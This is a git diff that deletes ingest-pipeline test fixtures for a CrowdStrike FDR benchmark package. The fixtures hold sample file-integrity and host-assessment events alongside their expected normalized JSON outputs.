"LINUX-TEST-HOST-01", - "id": "2e3d9c94d9c34764860b1f3b444c6d4d", - "name": "LINUX-TEST-HOST-01", - "os": { - "type": "linux" - } - }, - "message": "FileIntegrityMonitorRuleMatched", - "observer": { - "address": [ - "192.0.2.1" - ], - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": [ - "192.0.2.1" - ], - "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", - "version": "1007.8.0018308.15" - }, - "process": { - "args": [ - "chmod", - "+x", - "test.sh" - ], - "args_count": 3, - "command_line": "chmod +x test.sh", - "entity_id": "56470381986263", - "executable": "/usr/bin/chmod", - "name": "chmod", - "pid": 1205, - "real_user": { - "id": "1000" - } - }, - "related": { - "hash": [ - "4077874319" - ], - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "ip": [ - "192.0.2.1", - "192.0.2.11" - ], - "user": [ - "testuser", - "1000" - ] - }, - "rule": { - "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", - "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" - }, - "source": { - "address": "192.0.2.11", - "as": { - "number": 64500, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": "192.0.2.11" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "1000" - } - }, - "id": "1000", - "name": "testuser" - } - }, - { - "@timestamp": "2025-12-05T13:15:28.352Z", - "crowdstrike": { - "ConfigStateHash": "4077874319", - "ContextProcessId": "56480700653114", - "ContextTimeStamp": "2025-12-05T13:15:27.728Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "GrandparentImageFileName": "/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node", - "IsEBPF": "0", - "IsFromDifferentMountNamespace": "0", - "LocalAddressIP4": [ - "192.0.2.11" - ], - "ObjectAccessOperationType": "RENAME", - "ObjectType": "FILE", - "ParentImageFileName": "/usr/bin/bash", - "Policy": { - "ID": "8FD42A5C-9AC2-4959-A98D-9E430837B5E6" - }, - "PolicyRuleSeverity": 3, - "RUID": "1000", - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "id": "54049e9e-d8c2-41c8-8822-98687f7a3608", - "name": "FileIntegrityMonitorRuleMatchedLinV9" - }, - "device": { - "id": "2e3d9c94d9c34764860b1f3b444c6d4d" - }, - "event": { - "action": "FileIntegrityMonitorRuleMatched", - "category": [ - "file" - ], - "created": "2025-12-05T13:15:28.352Z", - "id": "54049e9e-d8c2-41c8-8822-98687f7a3608|2e3d9c94d9c34764860b1f3b444c6d4d|2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"CommandLine\":\"mv test.txt newname.txt\",\"ComputerName\":\"LINUX-TEST-HOST-01\",\"ConfigBuild\":\"1007.8.0018308.15\",\"ConfigStateHash\":\"4077874319\",\"ContextProcessId\":\"56480700653114\",\"ContextTimeStamp\":\"1764940527.728\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EventOrigin\":\"1\",\"GrandparentImageFileName\":\"/home/testuser/.vscode-server/bin/8b3775030ed1a69b13e4f4c628c612102e30a681/node\",\"ImageFileName\":\"/usr/bin/mv\",\"IsEBPF\":\"0\",\"IsFromDifferentMountNamespace\":\"0\",\"LocalAddressIP4\":\"192.0.2.11\",\"ObjectAccessOperationType\":\"5\",\"ObjectName\":\"/home/testuser/filevantage/test.txt\",\"ObjectNameNew\":\"/home/testuser/filevantage/newname.txt\",\"ObjectType\":\"1\",\"ParentImageFileName\":\"/usr/bin/bash\",\"PolicyIdentifier\":\"8FD42A5C-9AC2-4959-A98D-9E430837B5E6\",\"PolicyRuleGroupID\":\"70FE2543-10EE-477E-B875-5D82C91D0C6E\",\"PolicyRuleID\":\"F8874E50-FBA1-4D6E-8BB3-4B86CC269235\",\"PolicyRuleSeverity\":\"3\",\"RUID\":\"1000\",\"RawProcessId\":\"21533\",\"RuleModifiedTimeStamp\":\"\",\"UID\":\"1000\",\"UserName\":\"testuser\",\"aid\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"aip\":\"192.0.2.1\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\":\"Lin\",\"event_simpleName\":\"FileIntegrityMonitorRuleMatched\",\"id\":\"54049e9e-d8c2-41c8-8822-98687f7a3608\",\"name\":\"FileIntegrityMonitorRuleMatchedLinV9\",\"timestamp\":\"1764940528352\"}", - "severity": 73, - "type": [ - "change" - ] - }, - "file": { - "Ext": { - "original": { - "name": "test.txt", - "path": "/home/testuser/filevantage/test.txt" - } - }, - "directory": "/home/testuser/filevantage", - "extension": "txt", - "name": "newname.txt", - "path": "/home/testuser/filevantage/newname.txt", - "type": "file" - }, - "host": { - "hostname": "LINUX-TEST-HOST-01", - "id": "2e3d9c94d9c34764860b1f3b444c6d4d", - "name": "LINUX-TEST-HOST-01", - "os": { - "type": "linux" - } - }, - "message": "FileIntegrityMonitorRuleMatched", - "observer": { - "address": [ - "192.0.2.1" - ], - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": [ - "192.0.2.1" - ], - "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d", - "version": "1007.8.0018308.15" - }, - "process": { - "args": [ - "mv", - "test.txt", - "newname.txt" - ], - "args_count": 3, - "command_line": "mv test.txt newname.txt", - "entity_id": "56480700653114", - "executable": "/usr/bin/mv", - "name": "mv", - "pid": 21533, - "real_user": { - "id": "1000" - } - }, - "related": { - "hash": [ - "4077874319" - ], - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "ip": [ - "192.0.2.1", - "192.0.2.11" - ], - "user": [ - "testuser", - "1000" - ] - }, - "rule": { - "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235", - "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E" - }, - "source": { - "address": "192.0.2.11", - "as": { - "number": 64500, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": "192.0.2.11" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "1000" - } - }, - "id": "1000", - "name": "testuser" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log deleted file mode 100644 index 1bc60f9825..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log +++ /dev/null @@ -1,2 +0,0 @@ -{"AuthenticationId": "999","CommandLine": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "997826216","ContextProcessId": "23006475544","ContextTimeStamp": "1768081238.291","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "4","ObjectName": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}","ObjectType": "3","ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "E9EBD120-0D58-4F9B-81D7-D678D58A678F","PolicyRuleID": "B9902971-B750-40F0-81E6-BC5C60624E6F","PolicyRuleSeverity": "3","RawProcessId": "6208","RegType": "1","RuleModifiedTimeStamp": "","UserName": "WIN-TEST-HOST-01$","UserSid": "S-1-5-18","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.1","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1768081239013"} -{"AuthenticationId": "89056942","CommandLine": "C:\\Windows\\Explorer.EXE","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "3236037079","ContextProcessId": "21005463680","ContextTimeStamp": "1767954716.910","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "5","ObjectName": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder","ObjectNameNew": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder","ObjectType": "2","ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD","PolicyRuleID": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84","PolicyRuleSeverity": "1","RawProcessId": "3060","RuleModifiedTimeStamp": "","UserName": "testuser","UserSid": "S-1-5-21-1234567890-1234567890-1234567890-1001","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.2","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1767954717566"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json deleted file mode 100644 index 63dee427f8..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json +++ /dev/null @@ -1,297 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2026-01-10T21:40:39.013Z", - "crowdstrike": { - "AuthenticationId": "999", - "ConfigStateHash": "997826216", - "ContextProcessId": "23006475544", - "ContextTimeStamp": "2026-01-10T21:40:38.291Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe", - "LocalAddressIP4": [ - "192.0.2.10" - ], - "ObjectAccessOperationType": "SET", - "ObjectType": "VALUE", - "ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe", - "Policy": { - "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693" - }, - "PolicyRuleSeverity": 3, - "RegType": "1", - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0", - "name": "FileIntegrityMonitorRuleMatchedV11" - }, - "device": { - "id": "05831d09e02c4949a44cf99ffa54f2ed" - }, - "event": { - "action": "FileIntegrityMonitorRuleMatched", - "category": [ - "registry" - ], - "created": "2026-01-10T21:40:39.013Z", - "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"AuthenticationId\": \"999\",\"CommandLine\": \"\\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\\\" --msedgewebview --delete-old-versions --system-level --verbose-logging\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"997826216\",\"ContextProcessId\": \"23006475544\",\"ContextTimeStamp\": \"1768081238.291\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"4\",\"ObjectName\": \"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\",\"ObjectType\": \"3\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\EDGEMITMP_BFB80.tmp\\\\setup.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"E9EBD120-0D58-4F9B-81D7-D678D58A678F\",\"PolicyRuleID\": \"B9902971-B750-40F0-81E6-BC5C60624E6F\",\"PolicyRuleSeverity\": \"3\",\"RawProcessId\": \"6208\",\"RegType\": \"1\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"WIN-TEST-HOST-01$\",\"UserSid\": \"S-1-5-18\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.1\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"fa2d4a8a-df61-4d4a-b1da-d04140d2faf0\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1768081239013\"}", - "severity": 73, - "type": [ - "change" - ] - }, - "host": { - "hostname": "WIN-TEST-HOST-01", - "id": "05831d09e02c4949a44cf99ffa54f2ed", - "name": "WIN-TEST-HOST-01", - "os": { - "type": "windows" - } - }, - "message": "FileIntegrityMonitorRuleMatched", - "observer": { - "address": [ - "192.0.2.1" - ], - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": [ - "192.0.2.1" - ], - "serial_number": "05831d09e02c4949a44cf99ffa54f2ed", - "version": "1007.3.0020403.15" - }, - "process": { - "args": [ - "C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe", - "--msedgewebview", - "--delete-old-versions", - "--system-level", - "--verbose-logging" - ], - "args_count": 5, - "command_line": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging", - "entity_id": "23006475544", - "executable": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe", - "name": "setup.exe", - "pid": 6208 - }, - "registry": { - "data": { - "type": "REG_SZ" - }, - "key": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", - "path": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}", - "value": "msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}" - }, - "related": { - "hash": [ - "997826216" - ], - "hosts": [ - "WIN-TEST-HOST-01" - ], - "ip": [ - "192.0.2.1", - "192.0.2.10" - ], - "user": [ - "WIN-TEST-HOST-01$", - "S-1-5-18" - ] - }, - "rule": { - "id": "B9902971-B750-40F0-81E6-BC5C60624E6F", - "ruleset": "E9EBD120-0D58-4F9B-81D7-D678D58A678F" - }, - "source": { - "address": "192.0.2.10", - "as": { - "number": 64500, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": "192.0.2.10" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-18", - "name": "WIN-TEST-HOST-01$" - } - }, - { - "@timestamp": "2026-01-09T10:31:57.566Z", - "crowdstrike": { - "AuthenticationId": "89056942", - "ConfigStateHash": "3236037079", - "ContextProcessId": "21005463680", - "ContextTimeStamp": "2026-01-09T10:31:56.910Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe", - "LocalAddressIP4": [ - "192.0.2.10" - ], - "ObjectAccessOperationType": "RENAME", - "ObjectType": "FOLDER", - "ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "Policy": { - "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693" - }, - "PolicyRuleSeverity": 1, - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b", - "name": "FileIntegrityMonitorRuleMatchedV11" - }, - "device": { - "id": "05831d09e02c4949a44cf99ffa54f2ed" - }, - "event": { - "action": "FileIntegrityMonitorRuleMatched", - "category": [ - "file" - ], - "created": "2026-01-09T10:31:57.566Z", - "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"AuthenticationId\": \"89056942\",\"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"3236037079\",\"ContextProcessId\": \"21005463680\",\"ContextTimeStamp\": \"1767954716.910\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\winlogon.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"5\",\"ObjectName\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\folder\",\"ObjectNameNew\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\New folder\",\"ObjectType\": \"2\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"F8BE81CC-38EE-406D-8D42-5B748F35E5BD\",\"PolicyRuleID\": \"BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84\",\"PolicyRuleSeverity\": \"1\",\"RawProcessId\": \"3060\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"testuser\",\"UserSid\": \"S-1-5-21-1234567890-1234567890-1234567890-1001\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.2\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"a9e7eae2-3f8e-44c9-b847-40cf2af49e2b\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1767954717566\"}", - "severity": 21, - "type": [ - "change" - ] - }, - "file": { - "Ext": { - "original": { - "name": "folder", - "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder" - } - }, - "directory": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage", - "name": "New folder", - "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder", - "type": "dir" - }, - "host": { - "hostname": "WIN-TEST-HOST-01", - "id": "05831d09e02c4949a44cf99ffa54f2ed", - "name": "WIN-TEST-HOST-01", - "os": { - "type": "windows" - } - }, - "message": "FileIntegrityMonitorRuleMatched", - "observer": { - "address": [ - "192.0.2.2" - ], - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": [ - "192.0.2.2" - ], - "serial_number": "05831d09e02c4949a44cf99ffa54f2ed", - "version": "1007.3.0020403.15" - }, - "process": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "args_count": 1, - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "21005463680", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "name": "explorer.exe", - "pid": 3060 - }, - "related": { - "hash": [ - "3236037079" - ], - "hosts": [ - "WIN-TEST-HOST-01" - ], - "ip": [ - "192.0.2.2", - "192.0.2.10" - ], - "user": [ - "testuser", - "S-1-5-21-1234567890-1234567890-1234567890-1001" - ] - }, - "rule": { - "id": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84", - "ruleset": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD" - }, - "source": { - "address": "192.0.2.10", - "as": { - "number": 64500, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Las Vegas", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 36.17497, - "lon": -115.13722 - }, - "region_iso_code": "US-NV", - "region_name": "Nevada" - }, - "ip": "192.0.2.10" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-21-1234567890-1234567890-1234567890-1001", - "name": "testuser" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log deleted file mode 100644 index 24929e164d..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log +++ /dev/null @@ -1 +0,0 @@ -{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml deleted file mode 100644 index 58718e1ca4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml +++ /dev/null @@ -1,7 +0,0 @@ -fields: - "@timestamp": "2020-04-28T11:07:58.223Z" - tags: - - preserve_original_event - _conf: - long_fields: delete_long_fields - long_fields_max_length: 1024 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json deleted file mode 100644 index 7794bf947f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json +++ /dev/null @@ -1,80 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-10-01T09:58:32.519Z", - "crowdstrike": { - "EventType": "ZeroTrustHostAssessment", - "HostHiddenStatus": "VISIBLE", - "assessments": { - "analytics_and_improvements_mac": "yes", - "application_firewall_mac": "yes", - "crendential_dumping_hash_mac": "yes", - "crendential_dumping_kcpassword_mac": "yes", - "crowdstrike_full_disk_access": "yes", - "execution_blocking_custom_blocking_enabled_mac": "yes", - "execution_blocking_intel_threats_enabled_mac": "yes", - "execution_blocking_suspicious_processes_enabled_mac": "yes", - "file_vault_enabled_mac": "yes", - "gatekeeper_mac": "yes", - "internet_sharing_mac": "yes", - "mac_os_version": "yes", - "ml_adware_detection_mac": "yes", - "ml_adware_prevention_mac": "yes", - "ml_cloud_antimalware_detection_mac": "yes", - "ml_cloud_antimalware_prevention_mac": "yes", - "ml_sensor_adware_and_pup_detection_mac": "yes", - "ml_sensor_adware_and_pup_prevention_mac": "yes", - "ml_sensor_antimalware_detection_mac": "yes", - "ml_sensor_antimalware_prevention_mac": "yes", - "quarantine_mac": "yes", - "real_time_response_enabled_mac": "yes", - "remote_login_mac": "yes", - "script_based_execution_monitoring_mac": "yes", - "sip_enabled_mac": "yes", - "stealth_mode_mac": "no", - "system_full_disk_access_mac": "no", - "unauthorized_remote_access_chopper_mac": "yes", - "unauthorized_remote_access_empyre_mac": "yes", - 